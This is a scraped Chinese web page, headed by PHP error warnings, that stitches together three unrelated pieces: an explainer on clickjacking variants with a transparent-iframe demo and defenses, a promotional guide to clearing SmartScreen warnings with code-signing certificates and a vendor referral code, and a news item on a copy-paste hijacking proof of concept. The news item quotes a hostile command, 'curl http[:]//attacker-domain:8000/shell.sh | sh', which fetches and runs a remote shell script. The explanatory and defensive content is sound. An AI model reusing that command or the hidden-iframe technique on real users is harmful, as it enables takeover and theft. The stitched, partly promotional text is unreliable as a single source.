Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
況
01
賽門鐵克(Symantec)在2019年的《互聯(lián)網(wǎng)安全威脅報(bào)告》中稱:Formjacking 攻擊飆升,已有取代勒索和挖礦成為互聯(lián)網(wǎng)安全最大威脅之勢(shì)。Formjacking 從技術(shù)角度看,主要是將惡意 javascript 代碼嵌入到合法網(wǎng)站中,用于獲取敏感信息,而這種攻擊手法本質(zhì)上屬于界面劫持中的 clickjacking(點(diǎn)擊劫持)。本文將結(jié)合界面劫持的發(fā)展歷程,以實(shí)例講解點(diǎn)擊劫持的原理并介紹目前針對(duì)此類攻擊的防御思路。
界面劫持發(fā)展過(guò)程
02
界面操作劫持攻擊實(shí)際上是一種基于視覺欺騙的 web 會(huì)話劫持攻擊,核心在于使用了<iframe>標(biāo)簽中的透明屬性,他通過(guò)在網(wǎng)頁(yè)的可見輸入控件上覆蓋一個(gè)不可見的框,使得用戶誤以為在操作可見控件,而實(shí)際上用戶的操作行為被其不可見的框所劫持,執(zhí)行不可見框中的惡意代碼,達(dá)到竊取信息,控制會(huì)話,植入木馬等目的。從發(fā)展歷程看,主要有三類:
點(diǎn)擊劫持
點(diǎn)擊劫持又稱UI-覆蓋攻擊,是2008年由互聯(lián)網(wǎng)安全專家羅伯特·漢森和耶利米·格勞斯曼提出點(diǎn)擊劫持的概念。因?yàn)槭紫冉俪值氖怯脩舻氖髽?biāo)點(diǎn)擊操作,所以命名叫點(diǎn)擊劫持。主要劫持目標(biāo)是含有重要會(huì)話交互的頁(yè)面,如銀行交易頁(yè)面、后臺(tái)管理頁(yè)面等。曾經(jīng) Twitter 和 Facebook 等著名站點(diǎn)的用戶都遭受過(guò)點(diǎn)擊劫持的攻擊。
拖放劫持
在2010的 Black Hat Europe 大會(huì)上,Paul Stone 提出了點(diǎn)擊劫持的技術(shù)演進(jìn)版本:拖放劫持。由于用戶需要用鼠標(biāo)拖放完成的操作越來(lái)越多(如復(fù)制粘貼、小游戲等等),拖放劫持大大提高了點(diǎn)擊劫持的攻擊范圍,將劫持模式從單純的鼠標(biāo)點(diǎn)擊拓展到了鼠標(biāo)拖放行為。最主要的是,由于拖放操作不受瀏覽器“同源策略“影響,用戶可以把一個(gè)域的內(nèi)容拖放到另一個(gè)不同的域,由此攻擊者可能通過(guò)劫持某個(gè)頁(yè)面的拖放操作實(shí)現(xiàn)對(duì)其他頁(yè)面鏈接的竊取,從而獲得 session key,token,password 等敏感信息,甚至能將瀏覽器中的頁(yè)面內(nèi)容拖進(jìn)文本編輯器,查看源代碼。2011年出現(xiàn)的 Cookiejacking 攻擊就是拖放攻擊的代表,此攻擊的成因是由于本地 Cookie 可以用<iframe>標(biāo)簽嵌入,進(jìn)而就可以利用拖放劫持來(lái)盜取用戶的 Cookie。
觸屏劫持
隨著觸屏技術(shù)的發(fā)展,clickjacking 的攻擊方式也更進(jìn)一步,2010年斯坦福公布觸屏劫持攻擊。通過(guò)將一個(gè)不可見的 iframe 覆蓋到當(dāng)前網(wǎng)頁(yè)上就可以劫持用戶的觸屏操作。由于手機(jī)屏幕范圍有限,手機(jī)瀏覽器為了節(jié)省空間把地址欄隱藏起來(lái),因此在手機(jī)上的視覺欺騙更容易實(shí)施。
點(diǎn)擊劫持技術(shù)原理
03
透明層+iframe
透明層使用了 CSS 中的透明屬性,在(Chrome,F(xiàn)ireFox,Safari,Opera瀏覽器)中
opacity:0.5;數(shù)值從0到1,數(shù)值越小透明度越高,反之越明顯。
z-index:1;數(shù)值越高越靠近用戶,高數(shù)值控件在低數(shù)值控件前。
使用 iframe 嵌入被劫持的頁(yè)面 <iframe id=”victim” src=”http://www.victime.com”>
opacity:1
opacity:0
目標(biāo)網(wǎng)頁(yè)隱藏技術(shù)
目標(biāo)網(wǎng)頁(yè)隱藏技術(shù)原理是攻擊者在惡意網(wǎng)站上通過(guò) iframe 載入目標(biāo)網(wǎng)頁(yè),然后隱藏目標(biāo)網(wǎng)頁(yè),欺騙用戶點(diǎn)擊隱藏的惡意鏈接。目前主要的網(wǎng)頁(yè)隱藏技術(shù)有兩種:CSS 隱藏技術(shù)和雙 iframe 隱藏技術(shù)。(雙 iframe 隱藏技術(shù)使用內(nèi)聯(lián)框架和外聯(lián)框架。內(nèi)聯(lián)框架的主要功能是載入目標(biāo)網(wǎng)頁(yè),并將目標(biāo)網(wǎng)頁(yè)定位到特定按鈕或者鏈接。外聯(lián)框架的主要功能是篩選,只顯示內(nèi)聯(lián)框架中特定的按鈕。)
點(diǎn)擊操作劫持技術(shù)
在成功隱藏目標(biāo)網(wǎng)頁(yè)后,攻擊者下一個(gè)目標(biāo)是欺騙用戶點(diǎn)擊特定的按鈕,最簡(jiǎn)單實(shí)用的方法是使用社會(huì)工程學(xué)。例如,將攻擊按鈕外觀設(shè)計(jì)成類似QQ消息的提示按鈕,誘使用戶點(diǎn)擊從而觸發(fā)攻擊行為。另外一種思路是使用腳本代碼以及其他技術(shù)增加用戶點(diǎn)擊特定按鈕的概率。主要方法如 JavaScript 實(shí)現(xiàn)鼠標(biāo)跟隨技術(shù)、按鍵劫持 (Stroke jacking) 技術(shù)等。
點(diǎn)擊劫持技術(shù)簡(jiǎn)單實(shí)現(xiàn)
04
1、Index.html 是一個(gè)用戶可見的偽裝頁(yè)面,在其頁(yè)面中設(shè)置 iframe 所在層為透明層,并在 iframe 中嵌套了 inner.html 頁(yè)面
2、在 index.html 頁(yè)面中設(shè)計(jì)的“Click me”按鈕的位置與 inner.html 頁(yè)面中“Login”按鈕的位置重合
3、當(dāng)用戶以為在點(diǎn)擊 index.html 頁(yè)面上的“Click me”按鈕時(shí),實(shí)際是觸發(fā)了 inner.html 頁(yè)面上的“Login”按鈕的onclick方法
點(diǎn)擊 Click me 卻觸發(fā)了上層 iframe 標(biāo)簽的 inner.html 中 Login 的 onclick()
點(diǎn)擊劫持漏洞的防御技術(shù)
05
01
服務(wù)器端防御
服務(wù)器端防御點(diǎn)擊劫持漏洞的思想是結(jié)合瀏覽器的安全機(jī)制進(jìn)行防御,主要的防御方法介紹如下。
1、X-FRAME-OPTIONS 機(jī)制
在微軟發(fā)布新一代的瀏覽器 Internet Explorer 8.0中首次提出全新的安全機(jī)制:
X-FRAME-OPTIONS。該機(jī)制有兩個(gè)選項(xiàng):DENY 和 SAMEORIGIN。DENY 表示任何網(wǎng)頁(yè)都不能使用 iframe 載入該網(wǎng)頁(yè),SAMEORIGIN 表示符合同源策略的網(wǎng)頁(yè)可以使用 iframe 載入該網(wǎng)頁(yè)。除了 Chrome 和 safari 以外,還支持第三個(gè)參數(shù) Allow-From(白名單限制)。如果瀏覽器使用了這個(gè)安全機(jī)制,在網(wǎng)站發(fā)現(xiàn)可疑行為時(shí),會(huì)提示用戶正在瀏覽 網(wǎng)頁(yè)存在安全隱患,并建議用戶在新窗口中打開。這樣攻擊者就無(wú)法通過(guò) iframe 隱藏目標(biāo)的網(wǎng)頁(yè)。
2、使用 FrameBusting 代碼
點(diǎn)擊劫持攻擊需要首先將目標(biāo)網(wǎng)站載入到惡意網(wǎng)站中,使用 iframe 載入網(wǎng)頁(yè)是最有效的方法。Web 安全研究人員針對(duì) iframe 特性提出 Frame Busting 代碼,使用 JavaScript 腳本阻止惡意網(wǎng)站載入網(wǎng)頁(yè)。如果檢測(cè)到網(wǎng)頁(yè)被非法網(wǎng)頁(yè)載入,就執(zhí)行自動(dòng)跳轉(zhuǎn)功能。Frame Busting 代碼是一種有效防御網(wǎng)站被攻擊者惡意載入的方法,網(wǎng)站開發(fā)人員使用 Frame Busting 代碼阻止頁(yè)面被非法載入。需要指出的情況是,如果用戶瀏覽器禁用 JavaScript 腳本,那么 FrameBusting 代碼也無(wú)法正常運(yùn)行。所以,該類代碼只能提供部分保障功能。
(禁止iframe的嵌套)
3、使用認(rèn)證碼認(rèn)證用戶
點(diǎn)擊劫持漏洞通過(guò)偽造網(wǎng)站界面進(jìn)行攻擊,網(wǎng)站開發(fā)人員可以通過(guò)認(rèn)證碼識(shí)別用戶,確定是用戶發(fā)出的點(diǎn)擊命令才執(zhí)行相應(yīng)操作。識(shí)別用戶的方法中最有效的方法是認(rèn)證碼認(rèn)證。例如,在網(wǎng)站上廣泛存在的發(fā)帖認(rèn)證碼,要求用戶輸入圖形中的字符,輸入某些圖形的特征等。
02
客戶端防御
由于點(diǎn)擊劫持攻擊的代碼在客戶端執(zhí)行,因此客戶端有很多機(jī)制可以防御此漏洞。
1、升級(jí)瀏覽器
最新版本的瀏覽器提供很多防御點(diǎn)擊劫持漏洞的安全機(jī)制,對(duì)于普通的互聯(lián)網(wǎng)用戶,經(jīng)常更新修復(fù)瀏覽器的安全漏洞,能夠最有效的防止惡意攻擊。
2、NoScript 擴(kuò)展
對(duì)于 Firefox 的用戶,使用 NoScript 擴(kuò)展能夠在一定程度上檢測(cè)和阻止點(diǎn)擊劫持攻擊。利用 NoScript 中 ClearClick 組件能夠檢測(cè)和警告潛在的點(diǎn)擊劫持攻擊,自動(dòng)檢測(cè)頁(yè)面中可能不安全的頁(yè)面。
在當(dāng)前的網(wǎng)絡(luò)時(shí)代,各種功能的軟件應(yīng)用程序參與到人們的生活和工作中,市場(chǎng)規(guī)模愈來(lái)愈大,增加了許多的開發(fā)公司和軟件開發(fā)人員。但在發(fā)布應(yīng)用程序后,軟件所有者經(jīng)常會(huì)遇到一個(gè)挑戰(zhàn),即用戶在下載時(shí)可能會(huì)遇到微軟SmartScreen提示“此應(yīng)用程序不太常見,可能對(duì)您的電腦構(gòu)成風(fēng)險(xiǎn)”,這種警告不僅會(huì)削弱用戶的信任度,導(dǎo)致用戶不敢再繼續(xù)安裝使用;還可能導(dǎo)致下載量下滑。那么,作為軟件所有者,要怎么才能消除SmartScreen的這一警告提示呢?
一、在知道怎么消除警告之前,先來(lái)了解一下SmartScreen和SmartScreen信譽(yù)度
1、什么是SmartScreen?
SmartScreen,即Microsoft Defender SmartScreen,是微軟推出的一款安全功能,旨在保護(hù)用戶免受網(wǎng)絡(luò)欺詐、惡意軟件站點(diǎn)和潛在危險(xiǎn)文件下載的侵害。SmartScreen會(huì)將下載信息發(fā)送至微軟,通過(guò)比對(duì)已知惡意軟件數(shù)據(jù)庫(kù)和不安全程序列表來(lái)判斷下載內(nèi)容是否安全。一旦檢測(cè)到潛在威脅,將會(huì)警告用戶并阻止下載。此外,它還會(huì)參照用戶常用下載清單,對(duì)不在清單內(nèi)的文件進(jìn)行安全檢查,并可能發(fā)出預(yù)警。
2、什么是SmartScreen信譽(yù)度?
SmartScreen信譽(yù)度是微軟安全系統(tǒng)中一項(xiàng)衡量下載程序安全程度的功能。它基于全球Internet Explorer、Microsoft Edge和Windows用戶的反饋,結(jié)合防病毒檢測(cè)結(jié)果、下載量統(tǒng)計(jì)、下載歷史記錄、URL信譽(yù)度以及其他多種安全指標(biāo),判斷一個(gè)應(yīng)用程序的安全可靠性。如果下載的程序尚未建立起信譽(yù)度,則會(huì)向用戶顯示警告信息。
二、如何消除SmartScreen“此程序不是常見的下載內(nèi)容,可能會(huì)危害您的計(jì)算機(jī)”警告?
最根本的解決方案是建立SmartScreen信譽(yù),為程序獲取并應(yīng)用一個(gè)有效的數(shù)字簽名。這需要:
1、選擇證書頒發(fā)機(jī)構(gòu):
選擇微軟推薦的如Digicert、Sectigo (Comodo)、GlobalSign、JoySSL等CA。
首先,可以打開JoySSL的官方網(wǎng)站。注冊(cè)一個(gè)新賬號(hào)。在注冊(cè)過(guò)程中,最后一欄會(huì)要求填寫一個(gè)注冊(cè)碼以享受特定優(yōu)惠或服務(wù)。可以填寫“230915”來(lái)獲取證書詳細(xì)對(duì)比資料。
證書地址https://www.joyssl.com/certificate/select/code_signing.html?nid=15
2、代碼簽名證書的選擇:
EV代碼簽名證書可以立即獲得SmartScreen信譽(yù)。這樣一來(lái),當(dāng)用戶下載時(shí),Windows中的SmartScreen警告將不再出現(xiàn)。
OV代碼簽名證書需要通過(guò)累計(jì)下載量來(lái)逐步建立信譽(yù)。當(dāng)應(yīng)用程序下載安裝達(dá)到一定規(guī)模,被廣大Windows用戶接受并認(rèn)定為“常見安全應(yīng)用”時(shí),SmartScreen才會(huì)取消警告提示。
3、提高用戶認(rèn)可度:
鼓勵(lì)用戶積極評(píng)價(jià)和推薦您的應(yīng)用程序。
總而言之,軟件所有者可以通過(guò)使用合適的代碼簽名證書對(duì)應(yīng)用程序進(jìn)行數(shù)字簽名,以此來(lái)逐步積累SmartScreen信譽(yù),最終消除SmartScreen警告,從而增強(qiáng)用戶下載和使用軟件的信心。使得應(yīng)用程序有更多的下載量和用戶群體,達(dá)到良性的循環(huán)。
全研究人員警告,HTML頁(yè)面上的命令列可能藏匿惡意程序碼,開發(fā)者稍有不察直接復(fù)制貼上終端時(shí),可能就讓黑客得以于程序中植入后門。
復(fù)制粘貼要當(dāng)心,病毒代碼在執(zhí)行
一名安全研究人員Gabriel Friedlander近日警告,隨手從網(wǎng)絡(luò)上復(fù)制與貼上(Copy/Paste)命令列時(shí)要特別小心,因?yàn)楹诳涂赡艹么笋斶M(jìn)開發(fā)者的系統(tǒng)或應(yīng)用程序。
Friedlander打造了一個(gè)概念性驗(yàn)證攻擊手法,他設(shè)計(jì)一個(gè)假裝可用來(lái)更新Ubuntu作業(yè)系統(tǒng)的命令列,該命令列顯示的文字很簡(jiǎn)單,為「sudo apt update」,但當(dāng)開發(fā)者復(fù)制它,并將它貼上記事本或終端時(shí),它出現(xiàn)的卻是「curl http[:]//attacker-domain:8000/shell.sh | sh 」,若是直接貼入終端,它將立即執(zhí)行。
這是因?yàn)镕riedlander在此一HTML頁(yè)面上藏匿了JavaScript程序碼,而讓開發(fā)者眼見的文字與貼上之后所呈現(xiàn)的內(nèi)容完全不同。
Friedlander說(shuō),不管是新手或是熟練的開發(fā)者,都可能會(huì)從網(wǎng)絡(luò)上復(fù)制命令列或部份程序碼,但這是非常危險(xiǎn)的行為,也許會(huì)讓黑客直接于程序中植入后門,相關(guān)的攻擊非常地簡(jiǎn)單,卻可能帶來(lái)極大的傷害,建議開發(fā)者應(yīng)永遠(yuǎn)避免于終端貼上直接自網(wǎng)絡(luò)上復(fù)制的命令列。
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。